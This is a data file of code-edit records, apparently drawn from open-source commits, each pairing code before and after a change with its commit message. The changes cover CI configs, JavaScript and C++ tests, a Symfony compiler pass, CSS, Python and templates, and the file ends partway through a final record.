## Code Before: language: ruby rvm: - 1.8.7 - 1.9.2 - 1.9.3 - 2.0.0 - 2.1.2 cache: bundler before_script: - git config --global user.email "[email protected]" - git config --global user.name "Heroku Bot (Travis CI)" script: bundle exec rspec spec --color --format documentation deploy: provider: rubygems on: tags: true api_key: secure: ALsBCGGvdAiIEJR9zTzxumcgCaS5eqOs7Oee7e4SiDgHrT/DRSsFJBtNp9mJvQvHzW3FqSFZU7NO6tSRkwHGdGGw7pf/emjZ2ua0exuyCQ3LaCJBdwSQXl0GTMhhaMCCd2NYWJ+Fa3Q9jWWAdCfV8rqz5AX4ZG6fi3C2uubppVs= ## Instruction: Use the new build env on Travis as an added bonus, caching works on the new platform ## Code After: language: ruby rvm: - 1.8.7 - 1.9.2 - 1.9.3 - 2.0.0 - 2.1.2 sudo: false cache: bundler before_script: - git config --global user.email "[email protected]" - git config --global user.name "Heroku Bot (Travis CI)" script: bundle exec rspec spec --color --format documentation deploy: provider: rubygems on: tags: true api_key: secure: ALsBCGGvdAiIEJR9zTzxumcgCaS5eqOs7Oee7e4SiDgHrT/DRSsFJBtNp9mJvQvHzW3FqSFZU7NO6tSRkwHGdGGw7pf/emjZ2ua0exuyCQ3LaCJBdwSQXl0GTMhhaMCCd2NYWJ+Fa3Q9jWWAdCfV8rqz5AX4ZG6fi3C2uubppVs=
71fa6b0b6e418a4d50d0177e03fccef27db639c9
.travis.yml
.travis.yml
language: python python: - 2.6 - 2.7 - pypy install: - pip install pytest pytest-cov pytest-capturelog coveralls script: - python -mwand.version --verbose - py.test --cov wand --durations=20 after_success: - coveralls notifications: irc: channels: - "ircs://ssl.ozinger.org:16667#hongminhee" - "irc.freenode.net#wand" on_success: change on_failure: always
language: python python: - 2.6 - 2.7 - pypy install: - pip install pytest pytest-cov pytest-capturelog coveralls - pip install -e . script: - python -mwand.version --verbose - py.test --cov wand --durations=20 after_success: - coveralls notifications: irc: channels: - "ircs://ssl.ozinger.org:16667#hongminhee" - "irc.freenode.net#wand" on_success: change on_failure: always
Install wand using -e option in Travis CI
Install wand using -e option in Travis CI
YAML
mit
bpc/wand,samuelmaudo/wand,WangHong-yang/wand,pellaeon/wand,dahlia/wand
yaml
## Code Before: language: python python: - 2.6 - 2.7 - pypy install: - pip install pytest pytest-cov pytest-capturelog coveralls script: - python -mwand.version --verbose - py.test --cov wand --durations=20 after_success: - coveralls notifications: irc: channels: - "ircs://ssl.ozinger.org:16667#hongminhee" - "irc.freenode.net#wand" on_success: change on_failure: always ## Instruction: Install wand using -e option in Travis CI ## Code After: language: python python: - 2.6 - 2.7 - pypy install: - pip install pytest pytest-cov pytest-capturelog coveralls - pip install -e . script: - python -mwand.version --verbose - py.test --cov wand --durations=20 after_success: - coveralls notifications: irc: channels: - "ircs://ssl.ozinger.org:16667#hongminhee" - "irc.freenode.net#wand" on_success: change on_failure: always
425be9ead4b5e7fc47511c48d8e46895ca7c5b3c
test/stubbatti.js
test/stubbatti.js
// test/stubbatti.js /* global describe, it, afterEach, beforeEach */ 'use strict'; var exec = require('child_process').exec; var expect = require('chai').expect; var Stubbatti = require('../src/stubbatti.js'); describe('Stubbatti', function () { var stubbatti; beforeEach(function () { stubbatti = new Stubbatti(); stubbatti.setConsole({log: function () {}}); }); afterEach(function (done) { stubbatti.stop(function () { done(); }); }); describe('register', function () { it('registers a response for a path', function (done) { stubbatti.register('get', '/hello', 'Hello, world!'); stubbatti.start(function () { exec('curl 0.0.0.0:28987/hello', function (err, stdout, stderr) { expect(stdout).to.equal('Hello, world!'); done(); }); }); }); }); });
// test/stubbatti.js /* global describe, it, afterEach, beforeEach */ 'use strict'; var exec = require('child_process').exec; var expect = require('chai').expect; var Stubbatti = require('../src/stubbatti.js'); var DEFAULT_HOST = '0.0.0.0:28987'; // test utility for get request the server var get = function (path, cb) { exec('curl ' + DEFAULT_HOST + path, function (error, stdout, stderr) { cb(stdout.toString()); }); }; describe('Stubbatti', function () { var stubbatti; beforeEach(function () { stubbatti = new Stubbatti(); stubbatti.setConsole({log: function () {}}); }); afterEach(function (done) { stubbatti.stop(function () { done(); }); }); describe('register', function () { it('registers a response for a path', function (done) { stubbatti.register('get', '/hello', 'Hello, world!'); stubbatti.start(function () { get('/hello', function (responseText) { expect(responseText).to.equal('Hello, world!'); done(); }); }); }); it('registers a delayed response for a path if delay option is specified', function (done) { stubbatti.register('get', '/delay', 'delayed response', {delay: 1000}); var startTime = new Date().getTime(); stubbatti.start(function () { get('/delay', function (responseText) { expect(responseText).to.equal('delayed response'); var endTime = new Date().getTime(); var error = Math.abs(startTime + 1000 - endTime); expect(error).to.be.below(100); done(); }); }); }); }); });
Add test of delay option
Add test of delay option
JavaScript
mit
kt3k/stubbatti
javascript
## Code Before: // test/stubbatti.js /* global describe, it, afterEach, beforeEach */ 'use strict'; var exec = require('child_process').exec; var expect = require('chai').expect; var Stubbatti = require('../src/stubbatti.js'); describe('Stubbatti', function () { var stubbatti; beforeEach(function () { stubbatti = new Stubbatti(); stubbatti.setConsole({log: function () {}}); }); afterEach(function (done) { stubbatti.stop(function () { done(); }); }); describe('register', function () { it('registers a response for a path', function (done) { stubbatti.register('get', '/hello', 'Hello, world!'); stubbatti.start(function () { exec('curl 0.0.0.0:28987/hello', function (err, stdout, stderr) { expect(stdout).to.equal('Hello, world!'); done(); }); }); }); }); }); ## Instruction: Add test of delay option ## Code After: // test/stubbatti.js /* global describe, it, afterEach, beforeEach */ 'use strict'; var exec = require('child_process').exec; var expect = require('chai').expect; var Stubbatti = require('../src/stubbatti.js'); var DEFAULT_HOST = '0.0.0.0:28987'; // test utility for get request the server var get = function (path, cb) { exec('curl ' + DEFAULT_HOST + path, function (error, stdout, stderr) { cb(stdout.toString()); }); }; describe('Stubbatti', function () { var stubbatti; beforeEach(function () { stubbatti = new Stubbatti(); stubbatti.setConsole({log: function () {}}); }); afterEach(function (done) { stubbatti.stop(function () { done(); }); }); describe('register', function () { it('registers a response for a path', function (done) { stubbatti.register('get', '/hello', 'Hello, world!'); stubbatti.start(function () { get('/hello', function (responseText) { expect(responseText).to.equal('Hello, world!'); done(); }); }); }); it('registers a delayed response for a path if delay option is specified', function (done) { stubbatti.register('get', '/delay', 'delayed response', {delay: 1000}); var startTime = new Date().getTime(); stubbatti.start(function () { get('/delay', function (responseText) { expect(responseText).to.equal('delayed response'); var endTime = new Date().getTime(); var error = Math.abs(startTime + 1000 - endTime); expect(error).to.be.below(100); done(); }); }); }); }); });
034e5a13631ab77073de64e827804a82cf867e0e
packages/shared/lib/helpers/array.js
packages/shared/lib/helpers/array.js
export const range = (start, end) => { const result = []; for (let index = start; index < end; index++) { result.push(index); } return result; };
export const range = (start = 0, end = 0, step = 1) => { const result = []; for (let index = start; index < end; index += step) { result.push(index); } return result; };
Add step parameter to range helper
Add step parameter to range helper
JavaScript
mit
ProtonMail/WebClient,ProtonMail/WebClient,ProtonMail/WebClient
javascript
## Code Before: export const range = (start, end) => { const result = []; for (let index = start; index < end; index++) { result.push(index); } return result; }; ## Instruction: Add step parameter to range helper ## Code After: export const range = (start = 0, end = 0, step = 1) => { const result = []; for (let index = start; index < end; index += step) { result.push(index); } return result; };
b3fab13856ed0821e308e02ca60aa0f72cb93330
test/Layout/itanium-union-bitfield.cpp
test/Layout/itanium-union-bitfield.cpp
// RUN: %clang_cc1 -emit-llvm-only -triple %itanium_abi_triple -fdump-record-layouts %s 2>/dev/null \ // RUN: | FileCheck %s union A { int f1: 3; A(); }; A::A() {} union B { int f1: 69; B(); }; B::B() {} // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union A // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [sizeof=4, dsize=1, align=4 // CHECK-NEXT: | nvsize=1, nvalign=4] // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union B // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [{{sizeof=16, dsize=9, align=8|sizeof=12, dsize=9, align=4}} // CHECK-NEXT: | {{nvsize=9, nvalign=8|nvsize=9, nvalign=4}}]
// RUN: %clang_cc1 -emit-llvm-only -triple %itanium_abi_triple -fdump-record-layouts %s 2>/dev/null \ // RUN: | FileCheck %s union A { int f1: 3; A(); }; A::A() {} union B { char f1: 35; B(); }; B::B() {} // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union A // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [sizeof=4, dsize=1, align=4 // CHECK-NEXT: | nvsize=1, nvalign=4] // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union B // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [sizeof=8, dsize=5, align=4 // CHECK-NEXT: | nvsize=5, nvalign=4]
Test case B is updated to work for 32-bit and 64-bit platforms
Test case B is updated to work for 32-bit and 64-bit platforms git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@220271 91177308-0d34-0410-b5e6-96231b3b80d8
C++
apache-2.0
apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang
c++
## Code Before: // RUN: %clang_cc1 -emit-llvm-only -triple %itanium_abi_triple -fdump-record-layouts %s 2>/dev/null \ // RUN: | FileCheck %s union A { int f1: 3; A(); }; A::A() {} union B { int f1: 69; B(); }; B::B() {} // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union A // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [sizeof=4, dsize=1, align=4 // CHECK-NEXT: | nvsize=1, nvalign=4] // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union B // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [{{sizeof=16, dsize=9, align=8|sizeof=12, dsize=9, align=4}} // CHECK-NEXT: | {{nvsize=9, nvalign=8|nvsize=9, nvalign=4}}] ## Instruction: Test case B is updated to work for 32-bit and 64-bit platforms git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@220271 91177308-0d34-0410-b5e6-96231b3b80d8 ## Code After: // RUN: %clang_cc1 -emit-llvm-only -triple %itanium_abi_triple -fdump-record-layouts %s 2>/dev/null \ // RUN: | FileCheck %s union A { int f1: 3; A(); }; A::A() {} union B { char f1: 35; B(); }; B::B() {} // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union A // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [sizeof=4, dsize=1, align=4 // CHECK-NEXT: | nvsize=1, nvalign=4] // CHECK:*** Dumping AST Record Layout // CHECK-NEXT: 0 | union B // CHECK-NEXT: 0 | int f1 // CHECK-NEXT: | [sizeof=8, dsize=5, align=4 // CHECK-NEXT: | nvsize=5, nvalign=4]
a719ab4c77418b25881e5214dad2eed9af9a7a7d
DependencyInjection/Compiler/AddParamConverterPass.php
DependencyInjection/Compiler/AddParamConverterPass.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sensio\Bundle\FrameworkExtraBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; /** * Adds tagged request.param_converter services to converter.manager service * * @author Fabien Potencier <[email protected]> */ class AddParamConverterPass implements CompilerPassInterface { public function process(ContainerBuilder $container) { if (false === $container->hasDefinition('sensio_framework_extra.converter.manager')) { return; } $definition = $container->getDefinition('sensio_framework_extra.converter.manager'); foreach ($container->findTaggedServiceIds('request.param_converter') as $id => $converters) { foreach ($converters as $converter) { $name = isset($converter[0]['converter']) ? $converter[0]['converter'] : null; $priority = isset($converter[0]['priority']) ? $converter[0]['priority'] : 0; if ($priority == "false") { $priority = null; } $definition->addMethodCall('add', array(new Reference($id), $priority, $name)); } } } }
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sensio\Bundle\FrameworkExtraBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; /** * Adds tagged request.param_converter services to converter.manager service * * @author Fabien Potencier <[email protected]> */ class AddParamConverterPass implements CompilerPassInterface { public function process(ContainerBuilder $container) { if (false === $container->hasDefinition('sensio_framework_extra.converter.manager')) { return; } $definition = $container->getDefinition('sensio_framework_extra.converter.manager'); foreach ($container->findTaggedServiceIds('request.param_converter') as $id => $converters) { foreach ($converters as $converter) { $name = isset($converter['converter']) ? $converter['converter'] : null; $priority = isset($converter['priority']) ? $converter['priority'] : 0; if ($priority == "false") { $priority = null; } $definition->addMethodCall('add', array(new Reference($id), $priority, $name)); } } } }
Fix bug introduced with CompilerPass refactoring
Fix bug introduced with CompilerPass refactoring
PHP
mit
sensiolabs/SensioFrameworkExtraBundle,xabbuh/SensioFrameworkExtraBundle,chalasr/SensioFrameworkExtraBundle,chalasr/SensioFrameworkExtraBundle,henrikbjorn/ParamConverter
php
## Code Before: <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sensio\Bundle\FrameworkExtraBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; /** * Adds tagged request.param_converter services to converter.manager service * * @author Fabien Potencier <[email protected]> */ class AddParamConverterPass implements CompilerPassInterface { public function process(ContainerBuilder $container) { if (false === $container->hasDefinition('sensio_framework_extra.converter.manager')) { return; } $definition = $container->getDefinition('sensio_framework_extra.converter.manager'); foreach ($container->findTaggedServiceIds('request.param_converter') as $id => $converters) { foreach ($converters as $converter) { $name = isset($converter[0]['converter']) ? $converter[0]['converter'] : null; $priority = isset($converter[0]['priority']) ? $converter[0]['priority'] : 0; if ($priority == "false") { $priority = null; } $definition->addMethodCall('add', array(new Reference($id), $priority, $name)); } } } } ## Instruction: Fix bug introduced with CompilerPass refactoring ## Code After: <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sensio\Bundle\FrameworkExtraBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\Reference; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; /** * Adds tagged request.param_converter services to converter.manager service * * @author Fabien Potencier <[email protected]> */ class AddParamConverterPass implements CompilerPassInterface { public function process(ContainerBuilder $container) { if (false === $container->hasDefinition('sensio_framework_extra.converter.manager')) { return; } $definition = $container->getDefinition('sensio_framework_extra.converter.manager'); foreach ($container->findTaggedServiceIds('request.param_converter') as $id => $converters) { foreach ($converters as $converter) { $name = isset($converter['converter']) ? $converter['converter'] : null; $priority = isset($converter['priority']) ? $converter['priority'] : 0; if ($priority == "false") { $priority = null; } $definition->addMethodCall('add', array(new Reference($id), $priority, $name)); } } } }
091523aaf3ee4ed39bb9f186686dba583bbb0cc4
packages/va/variation.yaml
packages/va/variation.yaml
homepage: '' changelog-type: '' hash: 5c2926e6b87d19784c5dfba366a3918e105b4ca3de7ceb9d05e57f7e1b7a04ab test-bench-deps: {} maintainer: [email protected] synopsis: nominal value with possible variations changelog: '' basic-deps: semigroupoids: ! '>=5.0 && <6.0' cereal: ! '>=0.5 && <0.6' base: ! '>=4.8 && <5.0' semigroups: ! '>=0.18 && <0.19' containers: ! '>=0.5 && <0.6' transformers: ! '>=0.5 && <0.6' deepseq: ! '>=1.4 && <1.5' all-versions: - '0.1.0.0' author: Chris Pollard latest: '0.1.0.0' description-type: haddock description: ! 'this package provides a Variation data type: a (mandatory) nominal value with possible associated variations on that nominal value.' license-name: BSD3
homepage: '' changelog-type: '' hash: 1dcfd0bb9d06bf81d63e8ca4ee735fcd4c5251ef6b73a868e4d3517a9c88d766 test-bench-deps: {} maintainer: [email protected] synopsis: nominal value with possible variations changelog: '' basic-deps: semigroupoids: ! '>=5.0 && <6.0' cereal: ! '>=0.5 && <0.6' base: ! '>=4.8 && <5.0' semigroups: ! '>=0.18 && <0.19' containers: ! '>=0.5 && <0.5.9' transformers: ! '>=0.5 && <0.6' deepseq: ! '>=1.4 && <1.5' all-versions: - '0.1.0.0' author: Chris Pollard latest: '0.1.0.0' description-type: haddock description: ! 'this package provides a Variation data type: a (mandatory) nominal value with possible associated variations on that nominal value.' license-name: BSD3
Update from Hackage at 2017-06-10T11:57:53Z
Update from Hackage at 2017-06-10T11:57:53Z
YAML
mit
commercialhaskell/all-cabal-metadata
yaml
## Code Before: homepage: '' changelog-type: '' hash: 5c2926e6b87d19784c5dfba366a3918e105b4ca3de7ceb9d05e57f7e1b7a04ab test-bench-deps: {} maintainer: [email protected] synopsis: nominal value with possible variations changelog: '' basic-deps: semigroupoids: ! '>=5.0 && <6.0' cereal: ! '>=0.5 && <0.6' base: ! '>=4.8 && <5.0' semigroups: ! '>=0.18 && <0.19' containers: ! '>=0.5 && <0.6' transformers: ! '>=0.5 && <0.6' deepseq: ! '>=1.4 && <1.5' all-versions: - '0.1.0.0' author: Chris Pollard latest: '0.1.0.0' description-type: haddock description: ! 'this package provides a Variation data type: a (mandatory) nominal value with possible associated variations on that nominal value.' license-name: BSD3 ## Instruction: Update from Hackage at 2017-06-10T11:57:53Z ## Code After: homepage: '' changelog-type: '' hash: 1dcfd0bb9d06bf81d63e8ca4ee735fcd4c5251ef6b73a868e4d3517a9c88d766 test-bench-deps: {} maintainer: [email protected] synopsis: nominal value with possible variations changelog: '' basic-deps: semigroupoids: ! '>=5.0 && <6.0' cereal: ! '>=0.5 && <0.6' base: ! '>=4.8 && <5.0' semigroups: ! '>=0.18 && <0.19' containers: ! '>=0.5 && <0.5.9' transformers: ! '>=0.5 && <0.6' deepseq: ! '>=1.4 && <1.5' all-versions: - '0.1.0.0' author: Chris Pollard latest: '0.1.0.0' description-type: haddock description: ! 'this package provides a Variation data type: a (mandatory) nominal value with possible associated variations on that nominal value.' license-name: BSD3
c0162789180f1f3cfb3f13f0961ef62bee6fa5ba
src/gitgraph.css
src/gitgraph.css
.gitgraph-tooltip { position: absolute; width: 400px; height: 20px; line-height: 20px; padding: 10px; font-size: 14px; text-align: center; color: #333; background: #EEE; border-radius: 5px; margin-left: 25px; margin-top: -15px; } .gitgraph-tooltip:after { content:""; position: absolute; width: 0; height: 0; border-width: 10px; border-style: solid; border-color: transparent #EEEEEE transparent transparent; top: 10px; left: -20px; }
.gitgraph-tooltip { position: absolute; margin-top: -15px; margin-left: 25px; padding: 10px; border-radius: 5px; background: #EEE; color: #333; text-align: center; font-size: 14px; line-height: 20px; } .gitgraph-tooltip:after { position: absolute; top: 10px; left: -20px; width: 0; height: 0; border-width: 10px; border-style: solid; border-color: transparent; border-right-color: #EEE; content: ""; }
Refactor and reorganize the CSS a bit
Refactor and reorganize the CSS a bit
CSS
mit
nicoespeon/gitgraph.js,smoll/gitgraph.js,terhechte/gitgraph.js,fabienfeat/gitgraph.js,nicoespeon/gitgraph.js,terhechte/gitgraph.js,prrmichel/gitgraph.js,sourtin/gitgraph.js,smoll/gitgraph.js,DMIT-DanG/gitgraph.js,ringlej/gitgraph.js,ringlej/gitgraph.js,nicoespeon/gitgraph.js,calvinatintel/gitgraph.js,nicoespeon/gitgraph.js,fabienfeat/gitgraph.js,sourtin/gitgraph.js,TattsGroup/gitgraph.js
css
## Code Before: .gitgraph-tooltip { position: absolute; width: 400px; height: 20px; line-height: 20px; padding: 10px; font-size: 14px; text-align: center; color: #333; background: #EEE; border-radius: 5px; margin-left: 25px; margin-top: -15px; } .gitgraph-tooltip:after { content:""; position: absolute; width: 0; height: 0; border-width: 10px; border-style: solid; border-color: transparent #EEEEEE transparent transparent; top: 10px; left: -20px; } ## Instruction: Refactor and reorganize the CSS a bit ## Code After: .gitgraph-tooltip { position: absolute; margin-top: -15px; margin-left: 25px; padding: 10px; border-radius: 5px; background: #EEE; color: #333; text-align: center; font-size: 14px; line-height: 20px; } .gitgraph-tooltip:after { position: absolute; top: 10px; left: -20px; width: 0; height: 0; border-width: 10px; border-style: solid; border-color: transparent; border-right-color: #EEE; content: ""; }
8c26cb08dd08b7e34352e51b06ecb9129ac201a1
stagecraft/libs/schemas/schemas.py
stagecraft/libs/schemas/schemas.py
from django.conf import settings from json import loads as json_loads from os import path def get_schema(): schema_root = path.join( settings.BASE_DIR, 'stagecraft/apps/datasets/schemas/timestamp.json' ) with open(schema_root) as f: json_f = json_loads(f.read()) return json_f
from django.conf import settings from json import loads as json_loads from os import path def get_schema(): schema_root = path.join( settings.BASE_DIR, 'stagecraft/apps/datasets/schemas/timestamp.json' ) with open(schema_root) as f: schema = json_loads(f.read()) return schema
Make the schema return object a bit more obvious and descriptive
Make the schema return object a bit more obvious and descriptive
Python
mit
alphagov/stagecraft,alphagov/stagecraft,alphagov/stagecraft,alphagov/stagecraft
python
## Code Before: from django.conf import settings from json import loads as json_loads from os import path def get_schema(): schema_root = path.join( settings.BASE_DIR, 'stagecraft/apps/datasets/schemas/timestamp.json' ) with open(schema_root) as f: json_f = json_loads(f.read()) return json_f ## Instruction: Make the schema return object a bit more obvious and descriptive ## Code After: from django.conf import settings from json import loads as json_loads from os import path def get_schema(): schema_root = path.join( settings.BASE_DIR, 'stagecraft/apps/datasets/schemas/timestamp.json' ) with open(schema_root) as f: schema = json_loads(f.read()) return schema
d147d8e271ef221844f76c040d5cfeda4e6beacb
app/templates/components/session-details.hbs
app/templates/components/session-details.hbs
<section> <div class='row'> <div class='col-md-4'> <p>Invitational: {{boolean-helper model.isInvitational}}</p> <ul class="list-group"> <li class="list-group-item"> <h5>Counts</h5> </li> <li class="list-group-item"> <span class="badge">{{model.newEntriesCount}}</span> New Entries </li> <li class="list-group-item"> <span class="badge">{{model.builtEntriesCount}}</span> Built Entries </li> <li class="list-group-item"> <span class="badge">{{model.invitedEntriesCount}}</span> Invited Entries </li> <li class="list-group-item"> <span class="badge">{{model.submittedEntriesCount}}</span> Submitted Entries </li> <li class="list-group-item"> <span class="badge">{{model.withdrawnEntriesCount}}</span> Withdrawn Entries </li> <li class="list-group-item"> <span class="badge">{{model.approvedEntriesCount}}</span> Approved Entries </li> <li class="list-group-item"> <span class="badge">{{model.totalEntriesCount}}</span> Total Entries </li> </ul> </div> </div> </section>
<section> <div class='row'> <div class='col-md-4'> <p>Invitational: {{boolean-helper model.isInvitational}}</p> <p>Number of Rounds: {{model.numRounds}}</p> <ul class="list-group"> <li class="list-group-item"> <h5>Counts</h5> </li> <li class="list-group-item"> <span class="badge">{{model.newEntriesCount}}</span> New Entries </li> <li class="list-group-item"> <span class="badge">{{model.builtEntriesCount}}</span> Built Entries </li> <li class="list-group-item"> <span class="badge">{{model.invitedEntriesCount}}</span> Invited Entries </li> <li class="list-group-item"> <span class="badge">{{model.submittedEntriesCount}}</span> Submitted Entries </li> <li class="list-group-item"> <span class="badge">{{model.withdrawnEntriesCount}}</span> Withdrawn Entries </li> <li class="list-group-item"> <span class="badge">{{model.approvedEntriesCount}}</span> Approved Entries </li> <li class="list-group-item"> <span class="badge">{{model.totalEntriesCount}}</span> Total Entries </li> </ul> </div> </div> </section>
Add number of rounds to session details
Add number of rounds to session details
Handlebars
bsd-2-clause
barberscore/barberscore-web,barberscore/barberscore-web,barberscore/barberscore-web
handlebars
## Code Before: <section> <div class='row'> <div class='col-md-4'> <p>Invitational: {{boolean-helper model.isInvitational}}</p> <ul class="list-group"> <li class="list-group-item"> <h5>Counts</h5> </li> <li class="list-group-item"> <span class="badge">{{model.newEntriesCount}}</span> New Entries </li> <li class="list-group-item"> <span class="badge">{{model.builtEntriesCount}}</span> Built Entries </li> <li class="list-group-item"> <span class="badge">{{model.invitedEntriesCount}}</span> Invited Entries </li> <li class="list-group-item"> <span class="badge">{{model.submittedEntriesCount}}</span> Submitted Entries </li> <li class="list-group-item"> <span class="badge">{{model.withdrawnEntriesCount}}</span> Withdrawn Entries </li> <li class="list-group-item"> <span class="badge">{{model.approvedEntriesCount}}</span> Approved Entries </li> <li class="list-group-item"> <span class="badge">{{model.totalEntriesCount}}</span> Total Entries </li> </ul> </div> </div> </section> ## Instruction: Add number of rounds to session details ## Code After: <section> <div class='row'> <div class='col-md-4'> <p>Invitational: {{boolean-helper model.isInvitational}}</p> <p>Number of Rounds: {{model.numRounds}}</p> <ul class="list-group"> <li class="list-group-item"> <h5>Counts</h5> </li> <li class="list-group-item"> <span class="badge">{{model.newEntriesCount}}</span> New Entries </li> <li class="list-group-item"> <span class="badge">{{model.builtEntriesCount}}</span> Built Entries </li> <li class="list-group-item"> <span class="badge">{{model.invitedEntriesCount}}</span> Invited Entries </li> <li class="list-group-item"> <span class="badge">{{model.submittedEntriesCount}}</span> Submitted Entries </li> <li class="list-group-item"> <span class="badge">{{model.withdrawnEntriesCount}}</span> Withdrawn Entries </li> <li class="list-group-item"> <span class="badge">{{model.approvedEntriesCount}}</span> Approved Entries </li> <li class="list-group-item"> <span class="badge">{{model.totalEntriesCount}}</span> Total Entries </li> </ul> </div> </div> </section>
e43c98022c90451f4b004994fc883f88d9ae35f6
tests/module-loading/shared-test.sh
tests/module-loading/shared-test.sh
halrun setup.hal > hal-output 2>&1 RESULT=$? NUM_PINS=$(cat hal-output | egrep $(cat PIN_NAME_REGEX) | wc -l) if [ $RESULT -ne $(cat RESULT) ]; then exit 1 fi if [ "$NUM_PINS" -ne $(cat NUM_PINS) ]; then exit 1 fi exit 0
halrun setup.hal > hal-output 2>&1 RESULT=$? NUM_PINS=$(cat hal-output | egrep $(cat PIN_NAME_REGEX) | wc -l) if [ $RESULT -ne $(cat RESULT) ]; then echo "Test exited with status $RESULT; output:" cat hal-output exit 1 fi if [ "$NUM_PINS" -ne $(cat NUM_PINS) ]; then echo "Error: number of pins found != number expected" echo "Pins found: '$NUM_PINS'" echo "Pins expected: $(cat RESULT)" exit 1 fi exit 0
Print debug output on failure
tests/module-loading: Print debug output on failure Recent intermittent test failures in tests/module-loading/*, but no debug output. Print contents of output files to give us a clue. Fixes #89
Shell
lgpl-2.1
ArcEye/MK-Qt5,kinsamanka/machinekit,Cid427/machinekit,EqAfrica/machinekit,RunningLight/machinekit,ArcEye/machinekit-testing,mhaberler/machinekit,mhaberler/machinekit,EqAfrica/machinekit,araisrobo/machinekit,unseenlaser/machinekit,ArcEye/MK-Qt5,RunningLight/machinekit,araisrobo/machinekit,ArcEye/machinekit-testing,ArcEye/MK-Qt5,strahlex/machinekit,araisrobo/machinekit,mhaberler/machinekit,bobvanderlinden/machinekit,unseenlaser/machinekit,RunningLight/machinekit,mhaberler/machinekit,mhaberler/machinekit,strahlex/machinekit,RunningLight/machinekit,strahlex/machinekit,Cid427/machinekit,kinsamanka/machinekit,kinsamanka/machinekit,unseenlaser/machinekit,EqAfrica/machinekit,unseenlaser/machinekit,EqAfrica/machinekit,unseenlaser/machinekit,strahlex/machinekit,ArcEye/MK-Qt5,unseenlaser/machinekit,strahlex/machinekit,EqAfrica/machinekit,araisrobo/machinekit,araisrobo/machinekit,strahlex/machinekit,Cid427/machinekit,ArcEye/machinekit-testing,EqAfrica/machinekit,ArcEye/machinekit-testing,bobvanderlinden/machinekit,Cid427/machinekit,bobvanderlinden/machinekit,unseenlaser/machinekit,araisrobo/machinekit,kinsamanka/machinekit,ArcEye/machinekit-testing,RunningLight/machinekit,ArcEye/machinekit-testing,araisrobo/machinekit,strahlex/machinekit,ArcEye/machinekit-testing,araisrobo/machinekit,bobvanderlinden/machinekit,RunningLight/machinekit,bobvanderlinden/machinekit,ArcEye/MK-Qt5,ArcEye/MK-Qt5,EqAfrica/machinekit,ArcEye/machinekit-testing,araisrobo/machinekit,bobvanderlinden/machinekit,Cid427/machinekit,Cid427/machinekit,kinsamanka/machinekit,mhaberler/machinekit,bobvanderlinden/machinekit,Cid427/machinekit,EqAfrica/machinekit,kinsamanka/machinekit,kinsamanka/machinekit,ArcEye/MK-Qt5,unseenlaser/machinekit,kinsamanka/machinekit,mhaberler/machinekit,RunningLight/machinekit,Cid427/machinekit,bobvanderlinden/machinekit,ArcEye/MK-Qt5,mhaberler/machinekit,RunningLight/machinekit
shell
## Code Before: halrun setup.hal > hal-output 2>&1 RESULT=$? NUM_PINS=$(cat hal-output | egrep $(cat PIN_NAME_REGEX) | wc -l) if [ $RESULT -ne $(cat RESULT) ]; then exit 1 fi if [ "$NUM_PINS" -ne $(cat NUM_PINS) ]; then exit 1 fi exit 0 ## Instruction: tests/module-loading: Print debug output on failure Recent intermittent test failures in tests/module-loading/*, but no debug output. Print contents of output files to give us a clue. Fixes #89 ## Code After: halrun setup.hal > hal-output 2>&1 RESULT=$? NUM_PINS=$(cat hal-output | egrep $(cat PIN_NAME_REGEX) | wc -l) if [ $RESULT -ne $(cat RESULT) ]; then echo "Test exited with status $RESULT; output:" cat hal-output exit 1 fi if [ "$NUM_PINS" -ne $(cat NUM_PINS) ]; then echo "Error: number of pins found != number expected" echo "Pins found: '$NUM_PINS'" echo "Pins expected: $(cat RESULT)" exit 1 fi exit 0
1e93d5b047533fcd1a5f1e3089f835cba2e7a8b3
src/Resources/config/building.php
src/Resources/config/building.php
